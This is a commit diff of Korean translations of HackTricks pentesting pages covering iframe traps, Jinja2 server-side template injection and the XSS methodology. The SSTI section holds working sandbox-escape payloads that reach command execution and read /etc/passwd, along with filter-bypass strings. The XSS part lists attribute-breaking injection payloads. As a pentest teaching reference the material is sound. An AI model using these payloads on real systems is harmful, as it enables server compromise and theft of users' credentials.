Translated ['pentesting-web/iframe-traps.md', 'pentesting-web/ssti-serve

This commit is contained in:
Translator 2024-06-14 10:18:38 +00:00
parent a610f8e123
commit f670cd5ed3
7 changed files with 211 additions and 134 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

View file

@ -587,7 +587,6 @@
* [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md) * [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md)
* [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md) * [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
* [IDOR](pentesting-web/idor.md) * [IDOR](pentesting-web/idor.md)
* [Integer Overflow](pentesting-web/integer-overflow.md)
* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md) * [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
* [LDAP Injection](pentesting-web/ldap-injection.md) * [LDAP Injection](pentesting-web/ldap-injection.md)
* [Login Bypass](pentesting-web/login-bypass/README.md) * [Login Bypass](pentesting-web/login-bypass/README.md)
@ -651,6 +650,7 @@
* [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md) * [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md)
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md) * [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md) * [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
* [Integer Overflow](pentesting-web/xss-cross-site-scripting/integer-overflow.md)
* [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md) * [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md)
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md) * [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md) * [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
@ -672,6 +672,7 @@
* [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md) * [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md) * [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md) * [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
* [Iframe Traps](pentesting-web/iframe-traps.md)
## ⛈️ Cloud Security ## ⛈️ Cloud Security

View file

@ -0,0 +1,33 @@
# Iframe 함정
<details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 히어로까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**telegram 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
</details>
## 기본 정보
이 iframe을 통한 XSS 남용 형태는 사용자가 웹 페이지를 이동하는 동안 정보를 도난당하는 것을 목적으로 하는 것으로, 원래 trustedsec.com의 이 2개의 게시물에서 발표되었습니다: [**여기**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **및** [**여기**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
공격은 XSS에 취약한 페이지에서 시작되며 **피해자가 XSS를 떠나지 않도록** 만들어 **iframe 내에서 탐색하도록** 만들어 웹 애플리케이션 전체를 차지하는 iframe 내에서 링크를 클릭하여 페이지를 탐색하면 됩니다.
XSS 공격은 기본적으로 웹 페이지를 화면의 100%에 iframe으로 로드합니다. 따라서 피해자는 **자신이 iframe 내부에 있다는 것을 알지 못할 것**입니다. 그런 다음 피해자가 iframe 내부(웹 내부)에서 링크를 클릭하여 페이지를 탐색하면, 해당 탐색에서 정보를 도난하는 임의의 JS가 로드된 iframe 내부에서 **탐색하게 될 것**입니다.
또한 더 현실적으로 만들기 위해, iframe이 페이지 위치를 변경할 때 확인하는 **리스너**를 사용하여 브라우저의 URL을 해당 위치로 업데이트하고 사용자가 브라우저를 사용하여 페이지를 이동하는 것으로 생각하게 할 수 있습니다.
<figure><img src="../.gitbook/assets/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
또한, 민감한 정보를 도난하는 데 사용자가 방문하는 다른 페이지 뿐만 아니라 **작성된 양식의 데이터를 도난**하고(자격 증명?) 보내거나 **로컬 스토리지를 도난**하는 데도 리스너를 사용할 수 있습니다...
물론, **탭을 닫거나 브라우저에서 다른 URL을 입력하는 피해자는 iframe을 벗어날 것**입니다. 이를 수행하는 다른 방법은 **페이지를 새로 고침**하는 것이지만, 이는 새로운 페이지가 iframe 내부에 로드될 때마다 마우스 오른쪽 버튼을 비활성화하거나 사용자의 마우스가 iframe을 벗어나는 것을 인지하여 브라우저의 새로 고침 버튼을 클릭할 가능성이 있는 경우에 부분적으로 **방지**할 수 있습니다. 이 경우 브라우저의 URL이 XSS에 취약한 원래 URL로 업데이트되므로 사용자가 다시로드하면 다시 감염될 것입니다(사용자가 다시로드하면 다시 감염될 것임을 유의하십시오. 이는 매우 은밀하지 않음).

View file

@ -7,10 +7,10 @@
다른 HackTricks 지원 방법: 다른 HackTricks 지원 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 요령을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요. * **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출**하세요.
</details> </details>
@ -34,7 +34,7 @@ app.run()
### **디버그 문** ### **디버그 문**
디버그 확장이 활성화되어 있으면 `debug` 태그가 현재 컨텍스트와 사용 가능한 필터 및 테스트를 덤프하는 데 사용할 수 있습니다. 이는 디버거를 설정하지 않고도 템플릿에서 사용할 수 있는 것을 확인하는 데 유용합니다. 디버그 확장 기능이 활성화되어 있으면 `debug` 태그를 사용하여 현재 컨텍스트 및 사용 가능한 필터 및 테스트를 덤프할 수 있습니다. 이는 디버거를 설정하지 않고도 템플릿에서 사용할 수 있는 것을 확인하는 데 유용합니다.
```python ```python
<pre> <pre>
@ -45,6 +45,7 @@ app.run()
</pre> </pre>
``` ```
### **모든 구성 변수 덤프** ### **모든 구성 변수 덤프**
@ -60,15 +61,16 @@ app.run()
{% endraw %} {% endraw %}
``` ```
## **Jinja Injection** ## **Jinja Injection**
우선, Jinja 삽입에서는 **샌드박스를 탈출하는 방법을 찾아야** 하며 일반적인 파이썬 실행 흐름에 **다시 접근**해야 합니다. 이를 위해 **샌드박스에서 접근 가능한** **객체를 남용**해야 합니다. 우선, Jinja 삽입에서는 **샌드박스를 탈출하는 방법을 찾아야** 하며 일반적인 파이썬 실행 흐름에 **다시 접근**해야 합니다. 이를 위해 **샌드박스에서 접근 가능한** **비샌드박스 환경의 객체를 남용**해야 합니다.
### 전역 객체에 접근하기 ### 전역 객체에 접근하기
예를 들어 코드 `render_template("hello.html", username=username, email=email)`에서 username과 email 객체는 **샌드박스가 아닌 파이썬 환경에서 가져오며** **샌드박스 환경 내에서 접근 가능**할 것입니다.\ 예를 들어 코드 `render_template("hello.html", username=username, email=email)`에서 username과 email 객체는 **샌드박스 파이썬 환경에서 가져오며** **샌드박스 환경 내에서 접근 가능**할 것입니다.\
또한, **샌드박스 환경에서 항상 접근 가능한 다른 객체**들이 있습니다. 또한, **샌드박스 환경에서 항상 접근 가능한 다른 객체**들이 있습니다:
``` ```
[] []
'' ''
@ -79,9 +81,9 @@ request
``` ```
### \<class 'object'> 복구 ### \<class 'object'> 복구
그런 다음, 이러한 객체에서 클래스인 **`<class 'object'>`**에 도달하여 정의된 **클래스**를 **복구**해야 합니다. 이는 이 객체에서 **`__subclasses__`** 메소드를 호출하고 비샌드박스된 파이썬 환경에서 모든 클래스에 **액세스**할 수 있기 때문입니다. 그런 다음 이러한 객체에서 클래스인 **`<class 'object'>`**에 도달해야 합니다. 이는 이 객체에서 **`__subclasses__`** 메서드를 호출하여 비샌드박스 Python 환경의 모든 클래스에 액세스할 수 있기 때문입니다.
**해당 객체 클래스**에 액세스하려면 **클래스 객체에 액세스**한 다음 **`__base__`**, **`__mro__()[-1]`** 또는 `.`**`mro()[-1]`**에 액세스해야 합니다. 그런 다음, 이 **객체 클래스**에 도달한 후 **`__subclasses__()`**를 **호출**해야 합니다. 해당 **객체 클래스**에 액세스하려면 **클래스 객체에 액세스**한 다음 **`__base__`**, **`__mro__()[-1]`** 또는 `.`**`mro()[-1]`**에 액세스해야 합니다. 그런 다음 **객체 클래스**에 도달한 후 **`__subclasses__()`**를 호출합니다.
다음 예제를 확인하세요: 다음 예제를 확인하세요:
```python ```python
@ -119,15 +121,16 @@ dict.__mro__[-1]
{% endraw %} {% endraw %}
# Not sure if this will work, but I saw it somewhere # Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }} {{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }} {{ ''.class.mro()[1].subclasses() }}
``` ```
### RCE Escaping ### RCE Escaping
**복구한** `<class 'object'>`을 호출하고 `__subclasses__`를 호출하여 이제 해당 클래스를 사용하여 파일을 읽고 쓰고 코드를 실행할 수 있습니다. **복구한** `<class 'object'>`을 호출하고 `__subclasses__`를 호출한 후에는 이러한 클래스를 사용하여 파일을 읽고 쓰고 코드를 실행할 수 있습니다.
`__subclasses__` 호출로 **수백 개의 새로운 함수에 액세스할 수 있는 기회**가 주어졌으며, **파일 클래스에 액세스**하여 **파일을 읽거나 쓰거나** 또는 `os`와 같이 **명령을 실행하는 클래스에 액세스**할 수 있는 클래스에 액세스할 때 행복해질 것입니다. `__subclasses__` 호출함으 **수백 개의 새로운 함수에 액세스할 수 있는 기회**가 주어졌습니다. 우리는 **파일 클래스에 액세스**하여 파일을 **읽거나 쓰거나** 또는 `os`와 같이 **명령을 실행할 수 있는 클래스에 액세스**하는 것만으로도 만족할 것입니다.
**원격 파일 읽기/쓰기** **원격 파일 읽기/쓰기**
```python ```python
@ -158,7 +161,7 @@ dict.__mro__[-1]
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }} {{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
``` ```
**더 많은 클래스**를 배울 수 있는 방법을 **탈출**할 수 있는지 확인하려면 다음을 **확인**하십시오: **더 많은 클래스**를 알아보려면 **이스케이프**할 수 있는 클래스를 **확인**할 수 있습니다:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -168,8 +171,8 @@ dict.__mro__[-1]
#### 일반적인 우회 #### 일반적인 우회
이러한 우회는 일부 문자를 **사용하지 않고** 객체의 **속성에 액세스**할 수 있게 합니다.\ 이러한 우회는 **일부 문자를 사용하지 않고** 객체의 **속성에 액세스**할 수 있게 합니다.\
우리는 이미 이러한 우회 방법 중 일부를 이전 예제에서 보았지만, 여기서 그것들을 요약해 보겠습니다: 우리는 이미 이러한 우회 중 일부를 이전 예제에서 보았지만, 여기서 요약해 보겠습니다:
```bash ```bash
# Without quotes, _, [, ] # Without quotes, _, [, ]
## Basic ones ## Basic ones
@ -196,6 +199,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
{% endraw %} {% endraw %}
``` ```
* [**전역 객체에 액세스하는 더 많은 옵션을 확인하려면 여기로 돌아가세요**](jinja2-ssti.md#accessing-global-objects) * [**전역 객체에 액세스하는 더 많은 옵션을 확인하려면 여기로 돌아가세요**](jinja2-ssti.md#accessing-global-objects)
* [**객체 클래스에 액세스하는 더 많은 옵션을 확인하려면 여기로 돌아가세요**](jinja2-ssti.md#recovering-less-than-class-object-greater-than) * [**객체 클래스에 액세스하는 더 많은 옵션을 확인하려면 여기로 돌아가세요**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
@ -209,7 +213,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
#will be #will be
&lt;script&gt;alert(1);&lt;/script&gt; &lt;script&gt;alert(1);&lt;/script&gt;
``` ```
**`safe`** 필터를 사용하면 페이지에 JavaScript 및 HTML을 **HTML 인코딩** 없이 삽입할 수 있습니다. **`safe`** 필터를 사용하면 페이지에 JavaScript 및 HTML을 HTML 인코딩되지 않고 삽입할 수 있습니다.
```python ```python
{{'<script>alert(1);</script>'|safe}} {{'<script>alert(1);</script>'|safe}}
#will be #will be
@ -235,11 +239,12 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
{% endraw %} {% endraw %}
```
## **\<class 'object'>**를 사용하지 않고의 Jinja Injection
[**전역 객체**](jinja2-ssti.md#accessing-global-objects)에서 **그 클래스를 사용하지 않고 RCE에 도달하는 또 다른 방법**이 있습니다.\ ```
전역 객체 중 **어떤 함수**에 접근할 수 있다면, **`__globals__.__builtins__`**에 액세스할 수 있고 거기서 **RCE**를 매우 **간단하게** 얻을 수 있습니다. ## **\<class 'object'>** 없이 Jinja 삽입
[**전역 객체**](jinja2-ssti.md#accessing-global-objects)에서는 **그 클래스를 사용하지 않고도 RCE에 도달할 수 있는 또 다른 방법**이 있습니다.\
전역 객체 중 **어떤 함수**에 접근할 수 있다면, **`__globals__.__builtins__`**에 액세스할 수 있고 거기서 **RCE**를 매우 **쉽게** 얻을 수 있습니다.
**`request`**, **`config`** 및 액세스할 수 있는 다른 **흥미로운 전역 객체**에서 **함수를 찾을 수** 있습니다: **`request`**, **`config`** 및 액세스할 수 있는 다른 **흥미로운 전역 객체**에서 **함수를 찾을 수** 있습니다:
```bash ```bash
@ -261,7 +266,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
# You can iterate through children objects to find more # You can iterate through children objects to find more
``` ```
일부 함수를 찾은 후 다음을 사용하여 내장 함수를 복구할 수 있습니다: 한 번 일부 함수를 찾았다면 다음과 같이 내장 함수를 복구할 수 있습니다:
```python ```python
# Read file # Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }} {{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
@ -282,10 +287,9 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
# All the bypasses seen in the previous sections are also valid # All the bypasses seen in the previous sections are also valid
``` ```
### Fuzzing WAF 우회 ### WAF 우회를 위한 Fuzzing
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一种专门用于CTF的工具但也可以用于在真实场景中暴力破解无效参数。 **Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing)은 CTF에 특화된 도구이지만 실제 시나리오에서 잘못된 매개변수를 무차별 대입하는 데도 유용할 수 있습니다. 이 도구는 단어와 쿼리를 분사하여 필터를 감지하고 우회 방법을 찾아내며 대화형 콘솔도 제공합니다.
该工具只是向服务器发送单词和查询以检测过滤器,寻找绕过方式,并提供交互式控制台。
``` ```
webui: webui:
As the name suggests, web UI As the name suggests, web UI
@ -313,20 +317,20 @@ The request will be urlencoded by default according to the HTTP format, which ca
## 참고 자료 ## 참고 자료
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* [여기에서 블랙리스트된 문자를 우회하는 attr 트릭을 확인하십시오](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3). * [여기에서 금지된 문자를 우회하는 attr 트릭을 확인하십시오](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113) * [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI) * [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 히어로까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하십시오! * **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하십시오!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하십시오 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하십시오
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하십시오, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하십시오, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하십시오.** * **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터에서 **@carlospolopm**을 팔로우하십시오 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하십시오. * **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하십시오.
</details> </details>

View file

@ -1,6 +1,6 @@
# XSS (Cross Site Scripting) # XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
@ -8,7 +8,7 @@
## 방법론 ## 방법론
1. **제어할 수 있는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)이 HTML에 **반영**되거나 **JS** 코드에서 **사용**되는지 확인합니다. 1. **제어 가능한 값**(_매개변수_, _경로_, _헤더_?, _쿠키_?)이 HTML에 **반영**되거나 **JS** 코드에서 **사용**되는지 확인합니다.
2. 반영/사용되는 **컨텍스트**를 찾습니다. 2. 반영/사용되는 **컨텍스트**를 찾습니다.
3. **반영**된 경우 3. **반영**된 경우
1. 사용할 수 있는 **기호**를 확인하고, 그에 따라 payload를 준비합니다: 1. 사용할 수 있는 **기호**를 확인하고, 그에 따라 payload를 준비합니다:
@ -16,7 +16,7 @@
1. 새 HTML 태그를 만들 수 있습니까? 1. 새 HTML 태그를 만들 수 있습니까?
2. `javascript:` 프로토콜을 지원하는 이벤트 또는 속성을 사용할 수 있습니까? 2. `javascript:` 프로토콜을 지원하는 이벤트 또는 속성을 사용할 수 있습니까?
3. 보호 기능을 우회할 수 있습니까? 3. 보호 기능을 우회할 수 있습니까?
4. HTML 콘텐츠가 클라이언트 측 JS 엔진(_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면 [**클라이언트 측 템플릿 삽입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다. 4. HTML 콘텐츠가 클라이언트 측 JS 엔진(_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되는 경우 [**Client Side Template Injection**](../client-side-template-injection-csti.md)을 악용할 수 있습니다.
5. HTML 태그 내부에서: 5. HTML 태그 내부에서:
1. 원시 HTML 컨텍스트로 이동할 수 있습니까? 1. 원시 HTML 컨텍스트로 이동할 수 있습니까?
2. JS 코드를 실행하기 위해 새 이벤트/속성을 만들 수 있습니까? 2. JS 코드를 실행하기 위해 새 이벤트/속성을 만들 수 있습니까?
@ -25,12 +25,12 @@
3. **JavaScript 코드** 내부에서: 3. **JavaScript 코드** 내부에서:
1. `<script>` 태그를 이스케이프할 수 있습니까? 1. `<script>` 태그를 이스케이프할 수 있습니까?
2. 문자열을 이스케이프하고 다른 JS 코드를 실행할 수 있습니까? 2. 문자열을 이스케이프하고 다른 JS 코드를 실행할 수 있습니까?
3. 입력이 템플릿 리터럴 \`\`에 있는지 확인하십니까? 3. 입력이 템플릿 리터럴 \`\`인가요?
4. 보호 기능을 우회할 수 있습니까? 4. 보호 기능을 우회할 수 있습니까?
4. 실행되는 JavaScript **함수** 4. 실행되는 JavaScript **함수**
1. 실행할 함수의 이름을 지정할 수 있습니다. 예: `?callback=alert(1)` 1. 실행할 함수의 이름을 지정할 수 있습니다. 예: `?callback=alert(1)`
4. **사용**된 경우 4. **사용**된 경우
1. **DOM XSS**를 악용할 수 있으며, 입력이 어떻게 제어되는지와 **제어된 입력이 어떤 싱크에서 사용되는지** 주의 깊게 살펴보세요. 1. **DOM XSS**를 악용할 수 있으며, 입력이 어떻게 제어되는지와 제어된 입력이 어떤 sink에서 사용되는지 주의 깊게 살펴보세요.
복잡한 XSS를 작업할 때 다음에 대해 알아두면 유용할 수 있습니다: 복잡한 XSS를 작업할 때 다음에 대해 알아두면 유용할 수 있습니다:
@ -42,29 +42,29 @@
XSS를 성공적으로 악용하려면 먼저 웹 페이지에서 **반영되는 값**을 찾아야 합니다. XSS를 성공적으로 악용하려면 먼저 웹 페이지에서 **반영되는 값**을 찾아야 합니다.
* **중간 반영**: 매개변수의 값이나 경로가 웹 페이지에 반영되는 것을 발견하면 **반영된 XSS**를 악용할 수 있습니다. * **중간 반영**: 매개변수의 값이나 경로가 웹 페이지에 반영되는 것을 발견하면 **Reflected XSS**를 악용할 수 있습니다.
* **저장 및 반영**: 서버에 저장된 제어할 수 있는 값이 매번 페이지에 액세스할 때마다 반영되는 것을 발견하면 **저장된 XSS**를 악용할 수 있습니다. * **저장 및 반영**: 제어 가능한 값이 서버에 저장되고 페이지에 액세스할 때마다 반영되는 것을 발견하면 **Stored XSS**를 악용할 수 있습니다.
* **JS를 통해 액세스**: 제어할 수 있는 값이 JS를 사용하여 액세스되는 것을 발견하면 **DOM XSS**를 악용할 수 있습니다. * **JS를 통해 액세스**: 제어 가능한 값이 JS를 사용하여 액세스되는 것을 발견하면 **DOM XSS**를 악용할 수 있습니다.
## 컨텍스트 ## 컨텍스트
XSS를 악용하려고 할 때 **입력이 어디에 반영되는지**를 먼저 알아야 합니다. 컨텍스트에 따라 임의의 JS 코드를 다양한 방법으로 실행할 수 있습니다. XSS를 악용하려고 할 때 **입력이 어디에 반영되는지**를 알아야 합니다. 컨텍스트에 따라 임의의 JS 코드를 다양한 방법으로 실행할 수 있습니다.
### 원시 HTML ### 원시 HTML
입력이 **원시 HTML에 반영**되는 경우 JS 코드를 실행하기 위해 일부 **HTML 태그**를 악용해야 합니다: `<img , <iframe , <svg , <script` ... 이것은 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.\ 입력이 **원시 HTML에 반영**되는 경우 일부 **HTML 태그**를 악용하여 JS 코드를 실행해야 합니다: `<img , <iframe , <svg , <script` ... 이것은 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.\
또한 [클라이언트 측 템플릿 삽입](../client-side-template-injection-csti.md)을 염두에 두세요. 또한 [Client Side Template Injection](../client-side-template-injection-csti.md)을 염두에 두세요.
### HTML 태그 속성 내부 ### HTML 태그 속성 내부
입력이 태그의 속성 값 내부에 반영되는 경우 다음을 시도할 수 있습니다: 입력이 태그의 속성 값 내부에 반영되는 경우 다음을 시도할 수 있습니다:
1. **속성 및 태그에서 탈출**하여(그러면 원시 HTML에 있게 됨) 새 HTML 태그를 악용할 수 있습니다: `"><img [...]` 1. **속성 및 태그에서 이스케이프**하여(그럼 원시 HTML에 있게 됨) 새 HTML 태그를 만들어 악용: `"><img [...]`
2. **속성에서 탈출하지만 태그에서 탈출하지 못하는 경우** (`>`가 인코딩되거나 삭제됨), 태그에 따라 JS 코드를 실행하는 **이벤트를 생성**할 수 있습니다: `" autofocus onfocus=alert(1) x="` 2. **속성에서 이스케이프하지만 태그에서 이스케이프하지 못하는 경우**(`>`가 인코딩되거나 삭제됨), 태그에 따라 JS 코드를 실행하는 **이벤트를 만들 수 있습니다**: `" autofocus onfocus=alert(1) x="`
3. **속성에서 탈출할 수 없는 경우** (`"`가 인코딩되거나 삭제됨), 반영되는 **속성**에 따라 **값을 완전히 제어하거나 일부만 제어**하는 경우 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어하는 경우 클릭할 때 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성인데, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`** 3. **속성에서 이스케이프할 수 없는 경우**(`"`가 인코딩되거나 삭제됨), 반영되는 **속성**에 따라 **값을 완전히 제어하거나 일부만 제어**하는 경우 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어하는 경우 클릭할 때 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성인데, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
